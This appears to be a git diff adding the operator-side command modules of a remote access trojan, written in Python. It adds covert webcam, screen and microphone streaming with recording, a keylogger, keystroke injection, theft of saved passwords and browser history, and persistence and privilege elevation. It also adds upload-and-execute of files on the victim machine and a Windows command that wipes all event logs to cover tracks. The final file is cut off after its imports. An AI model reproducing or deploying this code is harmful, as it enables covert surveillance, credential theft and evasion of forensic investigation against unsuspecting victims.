diff --git a/domestic/modules/stream.py b/domestic/modules/stream.py
new file mode 100644
index 0000000..b1ce97b
--- /dev/null
+++ b/domestic/modules/stream.py
@@ -0,0 +1,165 @@
+import threading
+import random
+import pickle
+import zlib
+import cv2
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.make.make_directories import *
+from domestic.utility.get_filename import *
+from domestic.utility.write_error import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def stream_action(resolution, recognize, fit):
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+
+ stream_id = random.randint(0, 100000)
+ record = state['options']['information-gathering']['record']['stream']
+ client, addr = state['sockets']['modules']['stream'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['stream'][1].append(client_obj)
+
+ if recognize:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = state['settings']['folders']['child'][2]
+ faceCascade = cv2.CascadeClassifier(f'{state["root"]}/{parent_folder}/{child_folder}/{recognize}')
+
+ if record:
+ directories = ['modules', 'modules/stream']
+ username = state['session']['username']
+ path = f'{state["root"]}/{username}/{directories[-1]}/{get_filename("avi")}'
+ directories_to_make = [username] + [f'{username}/{directory}' for directory in directories]
+ make_directories(directories_to_make)
+
+ fourcc = cv2.VideoWriter_fourcc(*'XVID')
+ out = cv2.VideoWriter(path, fourcc, 5.0, resolution)
+
+ message = pickle.dumps(b' ')
+ message = zlib.compress(message, 1)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ frame = encryption.do_decrypt(mode[2][headersize:])
+ frame = zlib.decompress(frame)
+ frame = pickle.loads(frame)
+
+ if recognize:
+ faces = faceCascade.detectMultiScale(frame, scaleFactor=1.1, minNeighbors=5, minSize=(15, 15), flags=cv2.CASCADE_SCALE_IMAGE)
+
+ for (x, y, w, h) in faces:
+ cv2.rectangle(frame, (x, y), (x + w, y + h), (255, 255, 0), 2)
+
+ if fit is None:
+ cv2.namedWindow(f'{username} - Live stream (stream id: {stream_id})', cv2.WINDOW_NORMAL)
+
+ cv2.imshow(f'{username} - Live stream (stream id: {stream_id})', frame)
+
+ if record:
+ out.write(frame)
+
+ if cv2.waitKey(1) == 27:
+ raise Exception('Close stream')
+
+ real_msg = pickle.dumps(b' ')
+ real_msg = zlib.compress(real_msg, 1)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ state['sockets']['modules']['stream'][1].remove(client_obj)
+
+ if record:
+ out.release()
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def stream(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ unbind = validate_dict_key(data, 'unbind')
+ resolution = validate_dict_key(data, 'resolution')
+ monitor = validate_dict_key(data, 'monitor')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+ fps = validate_dict_key(data, 'fps')
+ fit = validate_dict_key(data, 'fit')
+ recognize = validate_dict_key(data, 'recognize')
+
+ if resolution:
+ assert state['session']['active']
+
+ data['resolution'] = tuple([int(x) for x in resolution.split(',')])
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['stream'][0].getsockname()
+
+ if monitor:
+ data['monitor'] = int(monitor)
+ else:
+ data['monitor'] = 0
+
+ if fps is None:
+ data['fps'] = False
+
+ if fit:
+ del data['fit']
+
+ if recognize:
+ del data['recognize']
+
+ threading.Thread(target=stream_action, args=(data['resolution'], recognize, fit), daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['stream'][0] is None:
+ bind_socket(ip, port, 'stream')
+ else:
+ ip, port = state['sockets']['modules']['stream'][0].getsockname()
+ status_message(f'You are already listening for clients (stream module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['stream'][0]:
+ unbind_socket('stream')
+ else:
+ status_message(f'You\'re not listening for clients (stream module)\nThere is no server socket (stream module) to close', 'warning')
+ elif close:
+ close_client(close, 'stream')
+ elif status:
+ if state['sockets']['modules']['stream'][0]:
+ ip, port = state['sockets']['modules']['stream'][0].getsockname()
+ status_message(f'You are listening for clients (stream module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (stream module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/modules/talk.py b/domestic/modules/talk.py
new file mode 100644
index 0000000..a3ca1d3
--- /dev/null
+++ b/domestic/modules/talk.py
@@ -0,0 +1,128 @@
+import threading
+import pyaudio
+import pickle
+import zlib
+import sys
+
+from domestic.parse.internal_server_error_exception_handling import *
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.modules.socket_handler import *
+from domestic.utility.write_error import *
+from domestic.make.make_wave import *
+from domestic.global_state import *
+
+
+@internal_server_error_exception_handling
+def talk_action():
+ try:
+ headersize = state['settings']['headersize']
+ encryption = state['settings']['encryption']
+ encoding = state['settings']['encoding']
+ username = state['session']['username']
+ mode = [True, 0, b'']
+ frames = []
+
+ p = pyaudio.PyAudio()
+ CHUNK = 81920
+ FORMAT = pyaudio.paInt16
+ RATE = 44100
+ CHANNELS = 2
+
+ try:
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+ except:
+ CHANNELS = 1
+ stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK)
+
+ record = state['options']['information-gathering']['record']['talk']
+ client, addr = state['sockets']['modules']['talk'][0].accept()
+ client_obj = (client, username, addr)
+ state['sockets']['modules']['talk'][1].append(client_obj)
+
+ message = pickle.dumps(stream.read(CHUNK))
+ message = zlib.compress(message, 9)
+ message = encryption.do_encrypt(message)
+ final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message
+ client.send(final_msg)
+
+ while True:
+ client_msg = client.recv(81920)
+
+ if mode[0]:
+ mode[1] = int(client_msg[:headersize])
+ mode[0] = False
+
+ mode[2] += client_msg
+
+ if len(mode[2])-headersize == mode[1]:
+ data = stream.read(CHUNK)
+ frames.append(data)
+
+ real_msg = pickle.dumps(data)
+ real_msg = zlib.compress(real_msg, 9)
+ real_msg = encryption.do_encrypt(real_msg)
+ final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg
+ client.send(final_msg)
+
+ mode = [True, 0, b'']
+ except Exception as err:
+ write_error(err)
+ try:
+ if record:
+ make_wave(['modules', 'modules/talk'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames))
+
+ stream.stop_stream()
+ stream.close()
+ p.terminate()
+ state['sockets']['modules']['talk'][1].remove(client_obj)
+ except Exception as err:
+ write_error(err)
+ finally:
+ sys.exit(0)
+
+
+@error_exception_handling
+def talk(data):
+ ip = validate_dict_key(data, 'ip')
+ port = validate_dict_key(data, 'port')
+ run = validate_dict_key(data, 'run')
+ unbind = validate_dict_key(data, 'unbind')
+ close = validate_dict_key(data, 'close')
+ status = validate_dict_key(data, 'status')
+
+ if run:
+ assert state['session']['active']
+
+ if ip and port:
+ data['ip'], data['port'] = ip, int(port)
+ else:
+ data['ip'], data['port'] = state['sockets']['modules']['talk'][0].getsockname()
+
+ del data['run']
+
+ threading.Thread(target=talk_action, daemon=True).start()
+ session_message(data)
+ elif ip and port:
+ if state['sockets']['modules']['talk'][0] is None:
+ bind_socket(ip, port, 'talk')
+ else:
+ ip, port = state['sockets']['modules']['talk'][0].getsockname()
+ status_message(f'You are already listening for clients (talk module) on {ip}:{port}', 'danger', {'dots': True})
+ elif unbind:
+ if state['sockets']['modules']['talk'][0]:
+ unbind_socket('talk')
+ else:
+ status_message(f'You\'re not listening for clients (talk module)\nThere is no server socket (talk module) to close', 'warning')
+ elif close:
+ close_client(close, 'talk')
+ elif status:
+ if state['sockets']['modules']['talk'][0]:
+ ip, port = state['sockets']['modules']['talk'][0].getsockname()
+ status_message(f'You are listening for clients (talk module) on {ip}:{port}', 'primary')
+ else:
+ status_message('You are not listening for clients (talk module)', 'warning')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/parse/alias_parser.py b/domestic/parse/alias_parser.py
new file mode 100644
index 0000000..e1b010d
--- /dev/null
+++ b/domestic/parse/alias_parser.py
@@ -0,0 +1,22 @@
+import os
+
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+def alias_parser(data):
+ if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'):
+ filesize = os.path.getsize(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt')
+
+ if filesize != state['settings']['dynamic']['alias-size']:
+ state['settings']['dynamic']['alias-data'] = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt').decode(state['settings']['encoding']).strip().split('\n')
+ state['settings']['dynamic']['alias-size'] = filesize
+
+ for alias in state['settings']['dynamic']['alias-data']:
+ key_value = alias.split('=')
+
+ if len(key_value) == 2:
+ if data == key_value[0]:
+ return key_value[1]
+
+ return data \ No newline at end of file
diff --git a/domestic/parse/command_argument_parser.py b/domestic/parse/command_argument_parser.py
new file mode 100644
index 0000000..9358d76
--- /dev/null
+++ b/domestic/parse/command_argument_parser.py
@@ -0,0 +1,21 @@
+def command_argument_parser(message):
+ arguments = message.split('--')
+ first = arguments[0]
+
+ if first.endswith(' '):
+ first = first[:-1]
+
+ arguments_dict = {'message': first}
+
+ for argument in arguments[1:]:
+ key_value_list = [y for y in argument.split(' ') if y != '']
+
+ key = key_value_list[0]
+ value = key_value_list[1:]
+
+ if len(key_value_list) == 1:
+ arguments_dict[key] = True
+ else:
+ arguments_dict[key] = ' '.join(value)
+
+ return arguments_dict \ No newline at end of file
diff --git a/domestic/parse/command_validation.py b/domestic/parse/command_validation.py
new file mode 100644
index 0000000..4669fa8
--- /dev/null
+++ b/domestic/parse/command_validation.py
@@ -0,0 +1,98 @@
+from domestic.session.server_handling.persistence import *
+from domestic.session.server_handling.interpreter import *
+from domestic.session.server_handling.messagebox import *
+from domestic.session.server_handling.keylogger import *
+from domestic.session.server_handling.keystroke import *
+from domestic.session.server_handling.obfuscate import *
+from domestic.session.server_handling.download import *
+from domestic.session.server_handling.encrypt import *
+from domestic.session.server_handling.recover import *
+from domestic.session.server_handling.website import *
+from domestic.session.server_handling.upload import *
+from domestic.session.server_handling.system import *
+from domestic.session.server_handling.image import *
+from domestic.session.server_handling.cd import *
+from domestic.session.session_message import *
+from domestic.globally.exit_program import *
+from domestic.globally.clear_screen import *
+from domestic.session.enter_session import *
+from domestic.session.exit_session import *
+from domestic.shell.list_clients import *
+from domestic.globally.get_help import *
+from domestic.globally.sockets import *
+from domestic.globally.options import *
+from domestic.modules.stream import *
+from domestic.modules.audio import *
+from domestic.modules.talk import *
+from domestic.global_state import *
+from domestic.shell.server import *
+from domestic.shell.delete import *
+from domestic.shell.stdout import *
+from domestic.modules.cam import *
+
+
+def command_validation(message):
+ low_message = message['message'].lower()
+
+ if low_message == 'help':
+ get_help()
+ elif low_message == 'exit':
+ exit_program()
+ elif low_message == 'clear':
+ clear_screen()
+ elif low_message == 'sockets':
+ sockets()
+ elif low_message == 'options':
+ options(message)
+ elif low_message == 'stream':
+ stream(message)
+ elif low_message == 'cam':
+ cam(message)
+ elif low_message == 'audio':
+ audio(message)
+ elif low_message == 'talk':
+ talk(message)
+ elif state['session']['active']:
+ if low_message == 'break':
+ exit_session()
+ elif low_message == 'cd':
+ cd(message)
+ elif low_message == 'image':
+ image(message)
+ elif low_message == 'upload':
+ upload(message)
+ elif low_message == 'download':
+ download(message)
+ elif low_message == 'encrypt':
+ encrypt(message)
+ elif low_message == 'interpreter':
+ interpreter(message)
+ elif low_message == 'keylogger':
+ keylogger(message)
+ elif low_message == 'keystroke':
+ keystroke(message)
+ elif low_message == 'persistence':
+ persistence(message)
+ elif low_message == 'system':
+ system(message)
+ elif low_message == 'recover':
+ recover(message)
+ elif low_message == 'obfuscate':
+ obfuscate(message)
+ elif low_message == 'website':
+ website(message)
+ elif low_message == 'messagebox':
+ messagebox(message)
+ else:
+ session_message(message)
+ else:
+ if low_message == 'list':
+ list_clients()
+ elif low_message == 'server':
+ server(message)
+ elif low_message == 'delete':
+ delete(message)
+ elif low_message == 'session':
+ enter_session(message)
+ else:
+ stdout(low_message, message) \ No newline at end of file
diff --git a/domestic/parse/error_exception_handling.py b/domestic/parse/error_exception_handling.py
new file mode 100644
index 0000000..286b3c2
--- /dev/null
+++ b/domestic/parse/error_exception_handling.py
@@ -0,0 +1,41 @@
+from domestic.utility.validate_dict_key import *
+from domestic.utility.status_message import *
+from domestic.utility.write_error import *
+from domestic.globally.get_help import *
+from domestic.global_state import *
+
+
+def error_exception_handling(func):
+ def func_wrapper(*args):
+ try:
+ number_of_arguments = len(args)
+
+ if number_of_arguments == 1:
+ func(args[0])
+ elif number_of_arguments == 2:
+ func(args[0], args[1])
+ elif number_of_arguments == 3:
+ func(args[0], args[1], args[2])
+ elif number_of_arguments == 4:
+ func(args[0], args[1], args[2], args[3])
+ elif number_of_arguments == 5:
+ func(args[0], args[1], args[2], args[3], args[4])
+ elif number_of_arguments == 6:
+ func(args[0], args[1], args[2], args[3], args[4], args[5])
+ elif number_of_arguments == 7:
+ func(args[0], args[1], args[2], args[3], args[4], args[5], args[6])
+ except Exception as err:
+ write_error(err)
+
+ if state['session']['active'] and func.__name__ in [*state['sockets']['modules']]:
+ func_key = validate_dict_key(help_obj, f'{func.__name__}_2', False)
+ elif func.__name__ == 'listening':
+ func_key = validate_dict_key(help_obj, 'listen', False)
+ else:
+ func_key = validate_dict_key(help_obj, func.__name__, False)
+
+ if func_key:
+ status_message(f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}', 'danger')
+ else:
+ status_message('Exception was reached, something went wrong\nPlease validate your input & try again', 'danger')
+ return func_wrapper \ No newline at end of file
diff --git a/domestic/parse/internal_server_error_exception_handling.py b/domestic/parse/internal_server_error_exception_handling.py
new file mode 100644
index 0000000..0cf3602
--- /dev/null
+++ b/domestic/parse/internal_server_error_exception_handling.py
@@ -0,0 +1,30 @@
+import sys
+
+from domestic.utility.write_error import *
+
+
+def internal_server_error_exception_handling(func):
+ def func_wrapper(*args):
+ try:
+ number_of_arguments = len(args)
+
+ if number_of_arguments == 0:
+ func()
+ elif number_of_arguments == 1:
+ func(args[0])
+ elif number_of_arguments == 2:
+ func(args[0], args[1])
+ elif number_of_arguments == 3:
+ func(args[0], args[1], args[2])
+ elif number_of_arguments == 4:
+ func(args[0], args[1], args[2], args[3])
+ elif number_of_arguments == 5:
+ func(args[0], args[1], args[2], args[3], args[4])
+ elif number_of_arguments == 6:
+ func(args[0], args[1], args[2], args[3], args[4], args[5])
+ elif number_of_arguments == 7:
+ func(args[0], args[1], args[2], args[3], args[4], args[5], args[6])
+ except Exception as err:
+ write_error(err)
+ sys.exit(0)
+ return func_wrapper \ No newline at end of file
diff --git a/domestic/session/enter_session.py b/domestic/session/enter_session.py
new file mode 100644
index 0000000..dae4bac
--- /dev/null
+++ b/domestic/session/enter_session.py
@@ -0,0 +1,15 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def enter_session(message):
+ index = validate_dict_key(message, 'index')
+
+ if index:
+ state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None}
+ status_message('Session succesfully established', 'success')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/exit_session.py b/domestic/session/exit_session.py
new file mode 100644
index 0000000..6a91752
--- /dev/null
+++ b/domestic/session/exit_session.py
@@ -0,0 +1,9 @@
+from domestic.utility.status_message import *
+from domestic.global_state import *
+
+
+def exit_session(write_stdout=True, data=None):
+ state['session'] = {'active': False, 'socket': None, 'username': None, 'data': data}
+
+ if write_stdout:
+ status_message('Session successfully exited', 'success') \ No newline at end of file
diff --git a/domestic/session/server_handling/cd.py b/domestic/session/server_handling/cd.py
new file mode 100644
index 0000000..fe58ea7
--- /dev/null
+++ b/domestic/session/server_handling/cd.py
@@ -0,0 +1,8 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def cd(message):
+ assert message['to']
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/download.py b/domestic/session/server_handling/download.py
new file mode 100644
index 0000000..a51e394
--- /dev/null
+++ b/domestic/session/server_handling/download.py
@@ -0,0 +1,35 @@
+import os
+
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_directories import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def download(message):
+ assert message['file']
+
+ filename = validate_dict_key(message, 'file')
+ execute = validate_dict_key(message, 'execute')
+
+ username = state['session']['username']
+ make_directories([username, f'{username}/downloads'])
+ root = f'{state["root"]}/{username}/downloads/{filename}'
+
+ message['max_file_size'] = state['settings']['max-file-size']
+ if execute:
+ del message['execute']
+
+ data = session_message(message, False, loading_text='downloading file...')
+ download = validate_dict_key(data, 'download', False)
+
+ if download:
+ with open(root, 'wb') as f:
+ f.write(download)
+
+ if execute:
+ os.startfile(root)
+
+ status_message(data['message'], data['text_mode']) \ No newline at end of file
diff --git a/domestic/session/server_handling/encrypt.py b/domestic/session/server_handling/encrypt.py
new file mode 100644
index 0000000..b5407ba
--- /dev/null
+++ b/domestic/session/server_handling/encrypt.py
@@ -0,0 +1,13 @@
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+def encrypt(message):
+ assert message['file']
+
+ decrypt = validate_dict_key(message, 'decrypt')
+
+ if decrypt is None:
+ message['decrypt'] = False
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/image.py b/domestic/session/server_handling/image.py
new file mode 100644
index 0000000..15719e0
--- /dev/null
+++ b/domestic/session/server_handling/image.py
@@ -0,0 +1,31 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def image(message):
+ monitor = validate_dict_key(message, 'monitor')
+ screenshot = validate_dict_key(message, 'screenshot')
+ cam = validate_dict_key(message, 'cam')
+
+ assert screenshot or cam
+
+ if monitor is None:
+ message['monitor'] = 0
+ else:
+ message['monitor'] = int(monitor)
+
+ if screenshot:
+ message['image_type'] = True
+ del message['screenshot']
+ image_type = 'screenshot'
+ else:
+ message['image_type'] = False
+ del message['cam']
+ image_type = 'cam-screenshot'
+
+ data = session_message(message, False)
+
+ if data['screenshot']:
+ make_image(['image', f'image/{image_type}'], data['screenshot'], success_message=data['message'], image_type=message['image_type']) \ No newline at end of file
diff --git a/domestic/session/server_handling/interpreter.py b/domestic/session/server_handling/interpreter.py
new file mode 100644
index 0000000..0c403e4
--- /dev/null
+++ b/domestic/session/server_handling/interpreter.py
@@ -0,0 +1,35 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def interpreter(message):
+ execute = validate_dict_key(message, 'execute')
+ script = validate_dict_key(message, 'script')
+ quiet = validate_dict_key(message, 'quiet')
+
+ assert execute or script
+
+ if script:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = state['settings']['folders']['child'][1]
+ message['execute'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding'])
+ del message['script']
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+ result = validate_dict_key(data, 'result')
+
+ if result:
+ if quiet is None:
+ status_message(data['result'], 'pure', {'end': True})
+ print()
+ make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message'])
+ else:
+ status_message(data['message'], data['text_mode']) \ No newline at end of file
diff --git a/domestic/session/server_handling/keylogger.py b/domestic/session/server_handling/keylogger.py
new file mode 100644
index 0000000..366aaac
--- /dev/null
+++ b/domestic/session/server_handling/keylogger.py
@@ -0,0 +1,43 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_file import *
+
+
+@error_exception_handling
+def keylogger(message):
+ run = validate_dict_key(message, 'run')
+ download = validate_dict_key(message, 'download')
+ close = validate_dict_key(message, 'close')
+ status = validate_dict_key(message, 'status')
+ quiet = validate_dict_key(message, 'quiet')
+
+ if run:
+ message['action_type'] = 'run'
+ del message['run']
+ session_message(message)
+ elif download:
+ message['action_type'] = 'download'
+ del message['download']
+ data = session_message(message, False)
+
+ logs = validate_dict_key(data, 'logs')
+
+ if logs:
+ if quiet is None:
+ status_message(logs.decode(state['settings']['encoding']), 'raw')
+ print()
+ make_file(['keylogger'], 'txt', logs, data['message'])
+ else:
+ status_message(data['message'], data['text_mode'])
+ elif close:
+ message['action_type'] = 'close'
+ del message['close']
+ session_message(message)
+ elif status:
+ message['action_type'] = 'status'
+ del message['status']
+ session_message(message)
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/keystroke.py b/domestic/session/server_handling/keystroke.py
new file mode 100644
index 0000000..9f09540
--- /dev/null
+++ b/domestic/session/server_handling/keystroke.py
@@ -0,0 +1,23 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def keystroke(message):
+ inject = validate_dict_key(message, 'inject', False)
+ script = validate_dict_key(message, 'script', False)
+
+ if inject:
+ message['inject'] = inject.strip().split(';')
+ elif script:
+ parent_folder = state['settings']['folders']['parent']
+ child_folder = '{}/{}'.format(state['settings']['folders']['child'][1], state['settings']['folders']['child'][3])
+ message['inject'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']).strip().split('\r\n')
+ del message['script']
+ else:
+ raise Exception('Error message')
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/messagebox.py b/domestic/session/server_handling/messagebox.py
new file mode 100644
index 0000000..28b4ff5
--- /dev/null
+++ b/domestic/session/server_handling/messagebox.py
@@ -0,0 +1,25 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def messagebox(message):
+ title = validate_dict_key(message, 'title', False)
+ text = validate_dict_key(message, 'text', False)
+ style = validate_dict_key(message, 'style')
+
+ if title and text:
+ if style == 'info':
+ message['style'] = 64
+ elif style == 'cross':
+ message['style'] = 16
+ elif style == 'question':
+ message['style'] = 32
+ elif style == 'warning':
+ message['style'] = 48
+ else:
+ message['style'] = 64
+ session_message(message)
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/obfuscate.py b/domestic/session/server_handling/obfuscate.py
new file mode 100644
index 0000000..c3f5422
--- /dev/null
+++ b/domestic/session/server_handling/obfuscate.py
@@ -0,0 +1,15 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def obfuscate(message):
+ logs = validate_dict_key(message, 'logs')
+
+ if logs:
+ message['message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"'
+ del message['logs']
+ session_message(message)
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/persistence.py b/domestic/session/server_handling/persistence.py
new file mode 100644
index 0000000..f6ae6b5
--- /dev/null
+++ b/domestic/session/server_handling/persistence.py
@@ -0,0 +1,23 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def persistence(message):
+ elevate = validate_dict_key(message, 'elevate')
+ service = validate_dict_key(message, 'service')
+ schedule = validate_dict_key(message, 'schedule')
+
+ if elevate:
+ message['action_type'] = 'elevate'
+ del message['elevate']
+ elif service:
+ message['action_type'] = 'service'
+ del message['service']
+ elif schedule:
+ message['action_type'] = 'schedule'
+ del message['schedule']
+ else:
+ raise Exception('Error message')
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/recover.py b/domestic/session/server_handling/recover.py
new file mode 100644
index 0000000..0c29c4c
--- /dev/null
+++ b/domestic/session/server_handling/recover.py
@@ -0,0 +1,66 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.utility.status_message import *
+from domestic.make.make_history import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def recover(message):
+ password = validate_dict_key(message, 'password')
+ history = validate_dict_key(message, 'history')
+ quiet = validate_dict_key(message, 'quiet')
+ force = validate_dict_key(message, 'force')
+
+ if force is None:
+ message['force'] = False
+
+ if password:
+ del message['password']
+ message['action_type'] = 'password'
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+
+ if quiet is None:
+ text = [x for x in data['message'].split('\n') if x != '']
+ count = 0
+
+ for line in text:
+ if line[:3] == '[+]':
+ print()
+ status_message(line[4:], 'success', {'end': True, 'point': 'empty'})
+ elif line[:3] == '[-]':
+ print()
+ status_message(line[4:], 'danger', {'end': True, 'point': 'empty'})
+ elif line[:19] == '-------------------':
+ if count != 0: print()
+ count += 1
+ status_message(line, 'raw')
+ else:
+ status_message(line, 'raw')
+ print()
+
+ make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered')
+ elif history:
+ del message['history']
+ message['action_type'] = 'history'
+
+ if quiet:
+ del message['quiet']
+
+ data = session_message(message, False)
+
+ if quiet is None:
+ for browser, browser_data in data['message'].items():
+ browser = browser.capitalize()
+ for link, title, date in browser_data:
+ status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True})
+ print()
+
+ make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered')
+ else:
+ raise Exception('Error message') \ No newline at end of file
diff --git a/domestic/session/server_handling/system.py b/domestic/session/server_handling/system.py
new file mode 100644
index 0000000..f505dbf
--- /dev/null
+++ b/domestic/session/server_handling/system.py
@@ -0,0 +1,29 @@
+from domestic.parse.error_exception_handling import *
+from domestic.utility.validate_dict_key import *
+from domestic.session.session_message import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def system(message):
+ shutdown = validate_dict_key(message, 'shutdown')
+ restart = validate_dict_key(message, 'restart')
+ logout = validate_dict_key(message, 'logout')
+ standby = validate_dict_key(message, 'standby')
+
+ if shutdown:
+ message['action_type'] = 'shutdown'
+ del message['shutdown']
+ elif restart:
+ message['action_type'] = 'restart'
+ del message['restart']
+ elif logout:
+ message['action_type'] = 'logout'
+ del message['logout']
+ elif standby:
+ message['action_type'] = 'standby'
+ del message['standby']
+ else:
+ raise Exception('Error message')
+
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/server_handling/upload.py b/domestic/session/server_handling/upload.py
new file mode 100644
index 0000000..fe88f05
--- /dev/null
+++ b/domestic/session/server_handling/upload.py
@@ -0,0 +1,36 @@
+import os
+
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+from domestic.utility.read_file import *
+from domestic.global_state import *
+
+
+@error_exception_handling
+def upload(message):
+ filename = validate_dict_key(message, 'file', False)
+ url = validate_dict_key(message, 'url', False)
+ execute_on_upload = validate_dict_key(message, 'execute')
+
+ message['max_file_size'] = state['settings']['max-file-size']
+
+ if execute_on_upload is None:
+ message['execute'] = False
+ else:
+ message['execute'] = True
+
+ if filename:
+ root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}'
+
+ if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']:
+ status_message(f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger')
+ return
+
+ message['from_url'], message['file_data'] = False, read_file(root)
+ elif url:
+ message['file'], message['from_url'], message['file_data'] = url, True, None
+ del message['url']
+ else:
+ raise Exception('Error message')
+
+ session_message(message, loading_text='uploading file...') \ No newline at end of file
diff --git a/domestic/session/server_handling/website.py b/domestic/session/server_handling/website.py
new file mode 100644
index 0000000..bac7138
--- /dev/null
+++ b/domestic/session/server_handling/website.py
@@ -0,0 +1,8 @@
+from domestic.parse.error_exception_handling import *
+from domestic.session.session_message import *
+
+
+@error_exception_handling
+def website(message):
+ message['open'] = message['open'].split(',')
+ session_message(message) \ No newline at end of file
diff --git a/domestic/session/session_message.py b/domestic/session/session_message.py
new file mode 100644
index 0000000..485bfbb
--- /dev/null
+++ b/domestic/session/session_message.py
@@ -0,0 +1,35 @@
+from domestic.utility.validate_dict_key import *
+from domestic.utility.status_message import *
+from binary.data_handling.send_data import *
+from binary.data_handling.recv_data import *
+from domestic.utility.delete_client import *
+from domestic.utility.text_to_image import *
